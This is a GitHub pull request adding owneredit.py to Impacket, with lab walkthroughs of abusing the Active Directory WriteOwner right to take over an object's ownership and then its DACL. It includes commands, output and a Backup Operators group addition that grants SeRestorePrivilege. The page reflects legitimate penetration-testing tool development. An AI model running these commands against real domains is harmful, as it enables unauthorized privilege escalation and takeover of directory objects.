Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[owneredit.py] New example script to change an object's owner #1323

Merged
merged 3 commits into from
Jun 6, 2024

Conversation

ShutdownRepo
Copy link
Contributor

Added this script to abuse WriteOwner (ADS_RIGHT_WRITE_OWNER) access rights. This allows to take ownership of another object, and then edit that object's DACL (with #1291 for example).

1. Edit DACL : failure

Trying to edit an victim's DACL (with #1291) . But it doesn't work, attacker doesn't have WriteDACL, and is not owner of victim.

# dacledit.py -principal 'attacker' -target 'victim' -dc-ip '192.168.56.101' 'domain.local'/'attacker':'123Pentest!!!' -action write -rights FullControl
Impacket v0.10.1.dev1+20220508.142945.5eb53ce9 - Copyright 2022 SecureAuth Corporation

[*] DACL backed up to dacledit-20220514-184038.bak
[-] Could not modify object, the server reports insufficient rights: 00000005: SecErr: DSID-03152857, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0

2. Edit Owner

Now using owneredit to change victim's owner to attacker.

# python3 examples/owneredit.py -target 'victim' domain.local/domainadmin:belikewater -dc-ip 192.168.56.101 -action write -new-owner attacker       
Impacket v0.9.25.dev1+20220501.152640.c5d141e1 - Copyright 2021 SecureAuth Corporation

[*] Current owner information below
[*] - SID: S-1-5-21-229151724-2089186347-2907854869-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=domain,DC=local
[*] OwnerSid modified successfully!
[*] Current owner information below
[*] - SID: S-1-5-21-229151724-2089186347-2907854869-1118
[*] - sAMAccountName: attacker
[*] - distinguishedName: CN=attacker,CN=Users,DC=domain,DC=local

3. Edit DACL : success

# dacledit.py -principal 'attacker' -target 'victim' -dc-ip '192.168.56.101' 'domain.local'/'attacker':'123Pentest!!!' -action remove -rights FullControl
Impacket v0.10.1.dev1+20220508.142945.5eb53ce9 - Copyright 2022 SecureAuth Corporation

[*] DACL backed up to dacledit-20220514-184128.bak
[*] DACL modified successfully!
# dacledit.py -principal 'attacker' -target 'victim' -dc-ip '192.168.56.101' 'domain.local'/'attacker':'123Pentest!!!'                                   
Impacket v0.10.1.dev1+20220508.142945.5eb53ce9 - Copyright 2022 SecureAuth Corporation

[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-229151724-2089186347-2907854869-1118)
[*]   ACE[20] info                
[*]     ACE Type                  : ACCESS_ALLOWED_ACE
[*]     ACE flags                 : None
[*]     Access mask               : FullControl (0xf01ff)
[*]     Trustee (SID)             : attacker (S-1-5-21-229151724-2089186347-2907854869-1118)

Usage

Script accepts target and new owner in multiple formats (sAMAccountName, Security IDentifier or distinguishedName)

owner:
  Object, controlled by the attacker, to set as owner of the target object

  -new-owner NAME       sAMAccountName
  -new-owner-sid SID    Security IDentifier
  -new-owner-dn DN      Distinguished Name

target:
  Target object to edit the owner of

  -target NAME          sAMAccountName
  -target-sid SID       Security IDentifier
  -target-dn DN         Distinguished Name

dacl editor:
  -action [{read,write}]
                        Action to operate on the owner attribute

@ShutdownRepo
Copy link
Contributor Author

ShutdownRepo commented May 14, 2022

This script needs testing. In my lab, I have an issue when changing the owner of an object from A to B then B to A.
A to B works when I have WriteOwner rights, which is expected. But then reverting B to A (using the same creds of the user with WriteOwner permissions) throws a constraint violation.

[-] Could not modify object, the server reports a constrained violation: 0000051B: AtrErr: DSID-030F2312, #1:
	0: 0000051B: DSID-030F2312, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 20119 (nTSecurityDescriptor)

If anyone could test in their lab and help me find out the issue it'd be awesome 😃

@BlWasp
Copy link
Contributor

BlWasp commented Jun 10, 2022

The script works perfectly in my lab, even in the scenario "from A to B then B to A". I haven't seen any issue for the moment:

> owneredit.py -new-owner BlWasp -target BlWasp -dc-ip 192.168.1.75 -action write 'LAB'/'Administrator':'Password123!'
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation

[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-500
[*] - sAMAccountName: Administrator
[*] - distinguishedName: CN=Administrator,CN=Users,DC=lab,DC=local
[*] OwnerSid modified successfully!

> owneredit.py -target BlWasp -dc-ip 192.168.1.75 -action read 'LAB'/'Administrator':'Password123!'
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation

[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-1103
[*] - sAMAccountName: blwasp
[*] - distinguishedName: CN=Black Wasp,CN=Users,DC=lab,DC=local

> owneredit.py -new-owner Administrator -target BlWasp -dc-ip 192.168.1.75 -action write 'LAB'/'Administrator':'Password123!'
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation

[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-1103
[*] - sAMAccountName: blwasp
[*] - distinguishedName: CN=Black Wasp,CN=Users,DC=lab,DC=local
[*] OwnerSid modified successfully!

> owneredit.py -target BlWasp -dc-ip 192.168.1.75 -action read 'LAB'/'Administrator':'Password123!'
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation

[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-500
[*] - sAMAccountName: Administrator
[*] - distinguishedName: CN=Administrator,CN=Users,DC=lab,DC=local

@ShutdownRepo
Copy link
Contributor Author

The script works perfectly in my lab, even in the scenario "from A to B then B to A". I haven't seen any issue for the moment:

> owneredit.py -new-owner BlWasp -target BlWasp -dc-ip 192.168.1.75 -action write 'LAB'/'Administrator':'Password123!'
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation

[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-500
[*] - sAMAccountName: Administrator
[*] - distinguishedName: CN=Administrator,CN=Users,DC=lab,DC=local
[*] OwnerSid modified successfully!

> owneredit.py -target BlWasp -dc-ip 192.168.1.75 -action read 'LAB'/'Administrator':'Password123!'
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation

[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-1103
[*] - sAMAccountName: blwasp
[*] - distinguishedName: CN=Black Wasp,CN=Users,DC=lab,DC=local

> owneredit.py -new-owner Administrator -target BlWasp -dc-ip 192.168.1.75 -action write 'LAB'/'Administrator':'Password123!'
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation

[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-1103
[*] - sAMAccountName: blwasp
[*] - distinguishedName: CN=Black Wasp,CN=Users,DC=lab,DC=local
[*] OwnerSid modified successfully!

> owneredit.py -target BlWasp -dc-ip 192.168.1.75 -action read 'LAB'/'Administrator':'Password123!'
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation

[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-500
[*] - sAMAccountName: Administrator
[*] - distinguishedName: CN=Administrator,CN=Users,DC=lab,DC=local

Thank you for testing! I didn't specify it in my previous comment but I wasn't facing this issue when using a domain administrator account. It was happening when abusing WriteOwner permissions.

@BlWasp
Copy link
Contributor

BlWasp commented Jun 13, 2022

The script works perfectly in my lab, even in the scenario "from A to B then B to A". I haven't seen any issue for the moment:

> owneredit.py -new-owner BlWasp -target BlWasp -dc-ip 192.168.1.75 -action write 'LAB'/'Administrator':'Password123!'
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation

[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-500
[*] - sAMAccountName: Administrator
[*] - distinguishedName: CN=Administrator,CN=Users,DC=lab,DC=local
[*] OwnerSid modified successfully!

> owneredit.py -target BlWasp -dc-ip 192.168.1.75 -action read 'LAB'/'Administrator':'Password123!'
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation

[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-1103
[*] - sAMAccountName: blwasp
[*] - distinguishedName: CN=Black Wasp,CN=Users,DC=lab,DC=local

> owneredit.py -new-owner Administrator -target BlWasp -dc-ip 192.168.1.75 -action write 'LAB'/'Administrator':'Password123!'
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation

[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-1103
[*] - sAMAccountName: blwasp
[*] - distinguishedName: CN=Black Wasp,CN=Users,DC=lab,DC=local
[*] OwnerSid modified successfully!

> owneredit.py -target BlWasp -dc-ip 192.168.1.75 -action read 'LAB'/'Administrator':'Password123!'
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation

[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-500
[*] - sAMAccountName: Administrator
[*] - distinguishedName: CN=Administrator,CN=Users,DC=lab,DC=local

Thank you for testing! I didn't specify it in my previous comment but I wasn't facing this issue when using a domain administrator account. It was happening when abusing WriteOwner permissions.

Ah yes exactly ! In my lab I encounter the same issue. More generally, it appears that after a owner modification, it is no more possible to change it with the script, but it is still possible to change the owner manually via the ADSI Edit tool on the Domain Controller.
However, even after this manual modification it seems that the script still doesn't work and the same error returns for any new owner different from "B" (it is still possible to modify the owner to the same value that what set during "A to B").

@BlWasp
Copy link
Contributor

BlWasp commented Jul 4, 2022

After debug and research I have finally found something that looks to be the point.
According to the Microsoft doc, the WriteOwner right doesn't allow to arbitrary change the owner of an object, it allows to assume the ownership of the object:

DS_RIGHT_WRITE_OWNER
Value: 0x80000
The right to assume ownership of the object. The user must be an object trustee. The user cannot transfer the ownership to other users.

This is also what it is explain here.

The script here works perfectly and permits to correctly change the owner of an object. To arbitrary change the object's owner, the SeRestorePrivilege right is needed according to the Microsoft doc.

SeRestorePrivilege | This privilege causes the system to grant all write access control to any file, regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any valid user or group SID as the owner of a file.

This is why it works with an admin account. By adding the attacker account to the Backup Operators group is works fine too.

In the example below, the blwasp user has WriteOwner against edit, and doesn't has any other particular right in the AD. He can change the owner of edit to blwasp but not to another user:

  • ACL check
dacledit.py -action read -target "edit" -dc-ip 192.168.1.75 lab.local/administrator:Password123! -principal blwasp
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation

[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-2570265163-3918697770-3667495639-1103)
[*]   ACE[20] info                
[*]     ACE Type                  : ACCESS_ALLOWED_ACE
[*]     ACE flags                 : CONTAINER_INHERIT_ACE
[*]     Access mask               : **WriteOwner**, ReadControl, WriteProperties, ReadProperties, ListChildObjects (0xa0034)
[*]     Trustee (SID)             : blwasp (S-1-5-21-2570265163-3918697770-3667495639-1103)
  • Edition to another user than blwasp, triggers the error
python3 owneredit.py -dc-ip 192.168.1.75 -action write -target edit -new-owner edit 'LAB'/'blwasp':'Password123!' -debug
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation

[+] Impacket Library Installation Path: /usr/local/lib/python3.9/dist-packages/impacket-0.10.1.dev1+20220514.194727.5c477e71-py3.9.egg/impacket
[+] Initializing domainDumper()
[+] Target principal found in LDAP (edit)
[+] Found new owner SID: S-1-5-21-2570265163-3918697770-3667495639-1178
[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=lab,DC=local
[+] Attempt to modify the OwnerSid
{'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000051B: AtrErr: DSID-030F25BA, #1:\n\t0: 0000051B: DSID-030F25BA, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 20119 (nTSecurityDescriptor)\n\x00', 'referrals': None, 'type': 'modifyResponse'}
[-] Could not modify object, the server reports a constrained violation: 0000051B: AtrErr: DSID-030F25BA, #1:
	0: 0000051B: DSID-030F25BA, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 20119 (nTSecurityDescriptor)
  • Edition to blwasp, works fine
python3 owneredit.py -dc-ip 192.168.1.75 -action write -target edit -new-owner blwasp 'LAB'/'blwasp':'Password123!' -debug
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation

[+] Impacket Library Installation Path: /usr/local/lib/python3.9/dist-packages/impacket-0.10.1.dev1+20220514.194727.5c477e71-py3.9.egg/impacket
[+] Initializing domainDumper()
[+] Target principal found in LDAP (edit)
[+] Found new owner SID: S-1-5-21-2570265163-3918697770-3667495639-1103
[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=lab,DC=local
[+] Attempt to modify the OwnerSid
[*] OwnerSid modified successfully!

Now, the blwasp user is added to the "Backup Operators** to retrieve the SeRestorePrivilege:

net rpc group addmem "Backup Operators" blwasp -U lab.local/administrator%'Password123!' -S 192.168.1.75

blwasp can effectively change the edit's owner to an arbitrary one:

python3 owneredit.py -dc-ip 192.168.1.75 -action write -target edit -new-owner Administrator 'LAB'/'blwasp':'Password123!' -debug
Impacket v0.10.1.dev1+20220514.194727.5c477e71 - Copyright 2022 SecureAuth Corporation

[+] Impacket Library Installation Path: /usr/local/lib/python3.9/dist-packages/impacket-0.10.1.dev1+20220514.194727.5c477e71-py3.9.egg/impacket
[+] Initializing domainDumper()
[+] Target principal found in LDAP (edit)
[+] Found new owner SID: S-1-5-21-2570265163-3918697770-3667495639-500
[*] Current owner information below
[*] - SID: S-1-5-21-2570265163-3918697770-3667495639-1103
[*] - sAMAccountName: blwasp
[*] - distinguishedName: CN=Black Wasp,CN=Users,DC=lab,DC=local
[+] Attempt to modify the OwnerSid
[*] OwnerSid modified successfully!

However, in my tests even with the SeRestorePrivilege right enabled, the WriteOwner right against the target is still needed.

@ShutdownRepo ShutdownRepo marked this pull request as ready for review September 5, 2022 15:15
@BlWasp
Copy link
Contributor

BlWasp commented Oct 12, 2023

Anything new about this ?

@ShutdownRepo
Copy link
Contributor Author

Anything new about this ?

@anadrianmanrique ?

@anadrianmanrique anadrianmanrique added the in review This issue or pull request is being analyzed label Oct 12, 2023
@anadrianmanrique anadrianmanrique self-assigned this May 16, 2024
@anadrianmanrique anadrianmanrique added medium Medium priority item and removed in review This issue or pull request is being analyzed labels May 16, 2024
@anadrianmanrique
Copy link
Contributor

@ShutdownRepo hello! I'm going to be reviewing this one for 0.12 release. This one seems like shuld've been integrated after dacledit.py. In the meanwhile, there's duplicated code that could be moved to the lib. I'll specify this in the code review section.

#!/usr/bin/env python3
# Impacket - Collection of Python classes for working with network protocols.
#
# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

update copyright notice to : Copyright (C) 2024 Fortra. All rights reserved.

from ldap3.protocol.microsoft import security_descriptor_control


# Universal SIDs
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

move this to a lib, to be used by dacledit.py and this one Also consider fixing single backslash issue in lines 94 to 111. ( see PR #1742 )

logging.error('The server returned an error: %s', self.ldap_session.result['message'])

# Attempts to retrieve the Security Descriptor of the specified target
def search_target_principal_security_descriptor(self):
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

move duplicated function ( and resolveSID also ) to a lib ( i.e. impacket/examples/ldap_helpers.py ) to be used by dacledit.py and this one

@anadrianmanrique
Copy link
Contributor

Ok, I'll move forward with this. I'll merge this once finished with testing, and the apply changes in a sperate PR.
thanks

@ShutdownRepo
Copy link
Contributor Author

Sorry I can't find the time to do the changes for now...

@anadrianmanrique
Copy link
Contributor

@ShutdownRepo no worries. As we are approaching code freeze for 0.12, we need to have this merged asap.
Thanks again for this PR

@anadrianmanrique anadrianmanrique merged commit d71f466 into fortra:master Jun 6, 2024
Iorpim added a commit to Iorpim/impacket that referenced this pull request Jun 9, 2024
[owneredit.py] New example script to change an object's owner (fortra#1323)
Iorpim pushed a commit to Iorpim/impacket that referenced this pull request Jun 11, 2024
…#1323)

* New example

* Fixing args `-owner*` to `-new-owner*`

* Removing redundant debug read after write
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
medium Medium priority item
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants